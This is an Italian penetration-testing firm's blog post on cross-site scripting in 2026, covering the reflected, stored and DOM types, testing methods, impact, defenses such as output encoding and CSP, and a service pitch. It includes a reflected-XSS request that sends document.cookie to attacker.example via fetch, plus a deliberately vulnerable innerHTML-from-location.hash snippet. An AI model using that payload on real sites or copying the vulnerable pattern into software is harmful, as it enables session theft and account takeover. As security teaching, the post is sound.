Cross-Site Scripting (XSS) nel 2026: il bug del web che si rifiuta di morire
Il cross-site scripting è tra le principali vulnerabilità web da oltre vent’anni ed è ancora uno dei difetti critici più frequenti che segnaliamo. Ecco come funzionano l’XSS riflesso, memorizzato e DOM, come li testiamo e le difese che reggono davvero.

Un campo commenti su un sito di marketing ci ha consegnato un account amministratore. Il revisore ha digitato un commento. Un amministratore ha aperto la coda di moderazione per approvarlo. Il JavaScript nascosto in quel commento è stato eseguito nel browser dell’amministratore, cookie compresi – nessuna password, nessuna esca di phishing, nessun malware rilasciato. Questo è cross-site scripting memorizzato, e nel 2026 lo classifichiamo ancora come critico su molte delle applicazioni che testiamo.
Si continua a dichiarare morto l’XSS. Ora i framework applicano l’escape all’output per impostazione predefinita, i browser arrivano con impostazioni più sensate, la Content-Security-Policy è ovunque. Tutto vero. Eppure il cross-site scripting continua a comparire nei nostri report, perché un’applicazione moderna offre più punti in cui iniettare che mai: template lato client, router single-page, JSON riversato in un tag script, renderizzatori di markdown e la scorta infinita di chiamate a innerHTML “solo per questa volta” che nessuno ha segnalato in revisione.
Quello che segue è la mappa di un pentester sul campo di dove vive l’XSS oggi, di come lo troviamo, di quanto costa quando scatta e di quali correzioni reggono davvero.
Punti chiave
- Il cross-site scripting (CWE-79) consente a un attaccante di eseguire il proprio JavaScript nella sessione del browser di un altro utente, il che di solito significa furto di sessione e presa di controllo dell’account, non un popup innocuo.
- Tre classi pratiche: riflesso (il payload è nella richiesta e viene rimandato indietro così com’è), memorizzato (il payload viene salvato lato server e servito ad altri utenti) e basato su DOM (il sink vive nel JavaScript lato client, quindi il server potrebbe non vederlo mai).
- La correzione più affidabile è l’output encoding consapevole del contesto nel punto di output, sostenuto da una Content-Security-Policy rigorosa come difesa in profondità. La “sanitizzazione” dell’input da sola non basta.
- Gli scanner automatici individuano abbastanza bene l’XSS riflesso, ma mancano regolarmente l’XSS DOM e l’XSS memorizzato che ha bisogno di un secondo utente o di un flusso di lavoro specifico per scattare.
- I cookie HttpOnly attenuano il furto dei cookie ma non impediscono all’XSS di agire al posto dell’utente. È una mitigazione, non una correzione.
Che cos’è il cross-site scripting e perché conta ancora?
Il cross-site scripting è una vulnerabilità in cui un’applicazione prende dati controllati dall’attaccante e li inserisce in una pagina senza tenere i dati separati dal codice, così il browser li esegue come script. La vecchia formulazione dell’OWASP regge ancora: è un fallimento nel tenere l’input non attendibile fuori da un contesto eseguibile. È catalogato come CWE-79 e figura nell’OWASP Top 10 da sempre, di recente confluito nella categoria Injection (A03).
Perché conta è più semplice della tassonomia. Quando il tuo script gira nel browser di una vittima, sei quell’utente per tutto il tempo in cui la pagina resta aperta. Leggi il DOM, lanci richieste autenticate con i suoi cookie, raccogli i suoi dati, invii moduli a suo nome e da lì rimbalzi altrove. Il proof-of-concept alert(1) davanti al quale tutti storcono il naso è solo un modo educato di dire “qui posso eseguire codice.” Il payload vero è silenzioso e non compare mai sullo schermo.
Il motivo per cui l’XSS si rifiuta di morire è che la superficie di attacco è cresciuta. Dieci anni fa gran parte dell’output avveniva lato server, in un unico linguaggio di templating, e se applicavi l’escape lì eri quasi tranquillo. Oggi una singola pagina può essere renderizzata sul server, idratata sul client, tirare JSON da tre API e passare stringhe a un motore di template lato client. Ognuno di questi è un contesto di output separato con le proprie regole di escape. Al browser non importa quale livello ha sbagliato.
XSS riflesso, memorizzato e DOM: qual è la differenza?
Le tre classi si distinguono per dove vive il payload e per come raggiunge la vittima. Questo cambia il modo in cui testi e quanto è grave.
XSS riflesso
Il cross-site scripting riflesso scatta quando l’applicazione prende qualcosa dalla richiesta corrente – una query string, un campo di un modulo, un header – e lo riscrive direttamente nella risposta. Non viene memorizzato nulla. L’attaccante deve indurre la vittima a cliccare su un link confezionato ad arte o a inviare un modulo manipolato. Una pagina di ricerca che rimanda indietro la tua query è il caso da manuale:
GET /search?q=<script>fetch('https://attacker.example/c?'+document.cookie)</script> HTTP/1.1
Host: acme-corp.example
Se il termine torna senza escape dentro il corpo HTML, viene eseguito. L’XSS riflesso viene liquidato come poco grave perché richiede un clic. Abbinalo a un pretesto credibile o a un redirect same-site e prende il controllo degli account senza problemi.
XSS memorizzato
Il cross-site scripting memorizzato è quello che mi tiene sveglio durante gli incarichi presso i clienti. Il payload viene salvato sul server – un commento, una bio del profilo, un ticket di assistenza, un nome di file, un nome di dispositivo che finisce in una dashboard di amministrazione – e servito a chiunque lo visualizzi dopo. La vittima non clicca nulla. Carica la pagina. L’XSS memorizzato in un contesto condiviso come un pannello di amministrazione o un feed di team è di fatto propagabile come un worm, e si guadagna un critico nei nostri report quasi ogni volta.
I casi più brutti sono: attaccante con pochi privilegi, vittima con privilegi elevati. Invii il payload come cliente. Un utente interno apre la tua scheda per aiutarti. Ora il tuo codice gira in una sessione privilegiata. Abbiamo trovato esattamente questo in sistemi di ticketing, console di gestione di dispositivi IoT e campi note di CRM più volte di quante ne possa contare.
XSS basato su DOM
L’XSS DOM è quando l’intero flusso di dati vulnerabile resta nel JavaScript lato client. Il server può inviare una risposta impeccabile, ma uno script della pagina legge da una sorgente controllata dall’attaccante – location.hash, location.search, document.referrer, un postMessage – e la passa a un sink pericoloso come innerHTML, document.write, eval o il binding raw-HTML di un framework. Poiché il payload potrebbe non raggiungere mai il server, i tuoi log del server e il tuo WAF non lo vedono mai.
// Vulnerable pattern we still find in SPAs
const tab = decodeURIComponent(location.hash.slice(1));
document.querySelector('#panel').innerHTML = tab;
// Request: https://app.acme-corp.example/#<img src=x>
L’XSS DOM è diventato più comune man mano che le applicazioni hanno spinto la logica sul client, ed è la classe che gli scanner mancano più spesso. Trovarlo significa capire il flusso di dati JavaScript, non confrontare due risposte.
Come testiamo il cross-site scripting?
Partiamo mappando ogni punto in cui l’input dell’utente può raggiungere una risposta o il DOM, poi testiamo ciascuno nel suo effettivo contesto di output. Con l’XSS il contesto è tutto. Un payload che scatta dentro un corpo HTML non fa nulla dentro una stringa JavaScript o un attributo HTML, e vale anche il contrario. Uscire dal contesto è metà del lavoro.
Il flusso di lavoro, in concreto. Facciamo passare l’applicazione attraverso Burp Suite e la percorriamo come un utente normale, catalogando parametri, header e campi JSON. Poi seminiamo un canary unico che non comparirà mai in modo naturale – qualcosa come cxpl0it7 – attraverso ogni input, e cerchiamo con grep nella risposta grezza e nel DOM renderizzato dove atterra e come è stato codificato:
curl -s 'https://acme-corp.example/search?q=cxpl0it7' | grep -n cxpl0it7
Dove il canary si riflette, sondiamo quel punto preciso: sopravvivono le parentesi angolari, sopravvivono le virgolette, è dentro un blocco <script>, un valore di attributo, un URL, un gestore di eventi? La risposta detta il payload di uscita. Se si riflette dentro un attributo tra virgolette doppie ti serve "> prima del tuo tag; se si riflette dentro una stringa di script esistente stai chiudendo una virgoletta e un’istruzione, non aprendo un tag.
Per l’XSS DOM ci affidiamo al browser. Il DOM Invader di Burp è davvero bravo a tracciare le sorgenti fino ai sink nelle single-page app disordinate, e segnala i flussi di innerHTML ed eval che uno scanner supera senza accorgersene. Leggiamo anche il JavaScript. Quando un’applicazione passa dati non attendibili a un motore di template o a un binding raw-HTML, quella singola riga vale più di cento payload alla cieca.
Gli strumenti automatici si guadagnano il loro posto per ampiezza. Lanciamo i template di nuclei e lo scanner attivo di Burp per spazzare in fretta i casi riflessi ovvi. Ma i critici arrivano da una persona: il payload memorizzato che scatta solo nella coda di amministrazione, il flusso DOM dietro un feature flag, l’XSS da mutazione che si attiva solo dopo che il browser ri-analizza un HTML presunto sanificato. Gli scanner non modellano né un secondo utente vittima né un flusso di lavoro in cinque passi. È in quel divario che stanno i bug veri.
Un’opinione a cui tengo con fermezza: “sanifichiamo l’input” non è una risposta che accetto in una call. Sanificare in ingresso si rompe nel momento in cui i dati atterrano in un contesto che il sanificatore non ha mai previsto, ed è fragile di fronte alla mutazione e alla doppia decodifica. La domanda è dove e come codifichi in output.
Che cosa consente davvero di fare un XSS a un attaccante?
Eseguire codice come la vittima, e l’esito che dimostriamo più spesso è la presa di controllo dell’account. Se i token di sessione stanno in un cookie senza HttpOnly, o in localStorage, lo script li legge e li spedisce fuori. Imposta HttpOnly e lo script agisce comunque come l’utente: effettua richieste autenticate same-origin, quindi cambia l’email dell’account, aggiunge una chiave API, disattiva la MFA tramite l’endpoint delle impostazioni, o approva la propria richiesta in sospeso. HttpOnly ferma il furto del token. Non ferma l’abuso della sessione.
Oltre il singolo account, l’XSS è un punto d’appoggio. Un XSS memorizzato in un’interfaccia di amministrazione può seminare un payload autopropagante o esfiltrare in silenzio i dati di altri utenti su larga scala. L’abbiamo concatenato con difese CSRF deboli e con bug lato server per passare da “eseguire script in un browser” alla compromissione totale dell’applicazione. Sulle applicazioni esposte verso l’esterno un buon XSS è un vettore di accesso iniziale credibile; sulle applicazioni interne è un banale abuso di credenziali e di sessione.
Valutare un XSS “medio perché richiede un clic” è un errore che vediamo in molti report precedenti. La gravità dipende da chi è la vittima e da cosa può fare quella sessione. Un XSS memorizzato che colpisce un amministratore è un critico, punto e basta.
Come si previene il cross-site scripting?
La correzione principale è l’output encoding consapevole del contesto, applicato nel momento in cui il dato viene scritto in una pagina, da un meccanismo che conosce il contesto. Codifica in modo diverso per corpo HTML, attributo HTML, JavaScript, URL e CSS, perché le regole differiscono davvero. I framework moderni fanno gran parte del lavoro per te: React, Angular e Vue applicano l’escape ai valori interpolati per impostazione predefinita. I bug si concentrano nelle vie di fuga – dangerouslySetInnerHTML, il bypassSecurityTrustHtml di Angular, v-html, qualsiasi innerHTML scritto a mano. Tratta ognuno come una riga da giustificare in revisione.
Devi renderizzare HTML fornito dall’utente per un campo rich-text o un commento in markdown? Non scrivere il tuo sanificatore. Usa una libreria mantenuta e ben testata come DOMPurify con una allowlist conservativa, ed eseguila il più vicino possibile al sink. Una blocklist artigianale contro <script> è una partita persa; gli attaccanti hanno decenni di trucchi di mutazione e codifica e tu hai un pomeriggio.
La Content-Security-Policy è la tua seconda linea, e forte. Una CSP rigorosa, basata su nonce, che elimina lo script inline e blocca le origini di script sconosciute trasforma molti bug di XSS da “presa di controllo dell’account” in “nessuna esecuzione.” Non sostituisce l’encoding – una CSP viene configurata male, aggirata tramite un CDN in allowlist, o scavalcata da un’iniezione che non ha bisogno di alcuno script – ma una policy stretta ha salvato applicazioni che abbiamo testato da difetti altrimenti sfruttabili. Abbinala ai flag dei cookie HttpOnly, Secure e SameSite, e all’API Trusted Types sui browser che la supportano per blindare direttamente i sink del DOM.
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-r4nd0mPerRequest';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
Il quadro a livelli è breve. Codifica in output così che il bug non esista proprio. Sanifica qualsiasi HTML ricco con una libreria vera. Distribuisci una CSP rigorosa e cookie irrobustiti così che quello che ti sfugge faccia il minor danno possibile.
Come aiuta CyberXplore
Trovare l’XSS che conta – il payload memorizzato che scatta solo per un amministratore, il flusso DOM sepolto in una single-page app, il bug da mutazione che sguscia oltre il tuo sanificatore – richiede una persona che testi ogni input nel suo reale contesto di output e pensi a una seconda vittima. È il cuore del nostro servizio di penetration test di applicazioni web. Mappiamo l’intera superficie di input, testiamo a mano il cross-site scripting riflesso, memorizzato e basato su DOM insieme al resto della checklist allineata all’OWASP, e dimostriamo l’impatto con un proof-of-concept sicuro così che il tuo team veda esattamente cosa otterrebbe un vero attaccante. Ogni finding viene consegnato con il contesto specifico, il payload e la modifica di encoding o di CSP che lo chiude.
Vuoi far testare l’XSS e il resto della tua superficie di attacco web da persone che lo fanno ogni settimana? Richiedi un preventivo e ne definiremo il perimetro insieme a te.
FAQ
Il cross-site scripting è ancora un rischio serio nel 2026?
Sì. I framework con auto-escape hanno ridotto il volume di XSS riflesso banale, ma il cross-site scripting memorizzato e basato su DOM è ancora tra i finding critici più comuni nei test delle applicazioni web moderne. La superficie di attacco si è spostata sul client e sulle vie di fuga raw-HTML, ed è esattamente lì che continuiamo a trovarlo.
Una Content-Security-Policy rende la mia applicazione immune all’XSS?
No, e trattarla così è un errore. Una CSP rigorosa basata su nonce è un’eccellente difesa in profondità e neutralizza molti payload, ma può essere configurata male, aggirata tramite una sorgente di script in allowlist, o scavalcata da un’iniezione che non fa affidamento sull’esecuzione di script. Usa la CSP insieme all’output encoding, mai al suo posto.
I cookie HttpOnly fermano l’XSS?
Impediscono allo script di leggere direttamente il cookie di sessione, il che blocca il furto di token più semplice. Non impediscono allo script di effettuare richieste autenticate come l’utente, quindi un attaccante può comunque cambiare le impostazioni dell’account, aggiungere chiavi API o disattivare la MFA tramite l’applicazione stessa. HttpOnly è una mitigazione preziosa, non una correzione del bug di fondo.
Gli scanner automatici possono trovare tutto il mio XSS?
Ne trovano una parte. Gli scanner gestiscono bene l’XSS riflesso lineare, ma mancano regolarmente i flussi basati su DOM che richiedono di leggere il JavaScript, e l’XSS memorizzato che scatta solo per un secondo utente o dopo un flusso di lavoro in più passi. Quelli sono i casi più gravi, e servono un tester umano che modelli la vittima e il contesto.
Qual è la differenza tra validazione dell’input ed encoding dell’output per l’XSS?
La validazione dell’input controlla i dati quando arrivano e può rifiutare i valori palesemente errati, il che aiuta ma non basta, perché lo stesso dato può essere sicuro in un contesto e pericoloso in un altro. L’output encoding trasforma i dati nel momento in cui vengono scritti in una pagina, in base a quello specifico contesto, così da non poter essere letti come codice. L’output encoding è la difesa principale; la validazione è un controllo di supporto.
Ogni quanto dovremmo testare il cross-site scripting?
Testa almeno una volta all’anno e dopo ogni cambiamento significativo nel modo in cui l’applicazione renderizza l’input dell’utente – una nuova funzione rich-text, un aggiornamento di framework, una nuova vista lato client. La scansione continua intercetta le regressioni nei casi ovvi, ma è un penetration test manuale dell’applicazione web, con cadenza regolare, a far emergere l’XSS memorizzato e DOM che gli scanner mancano.



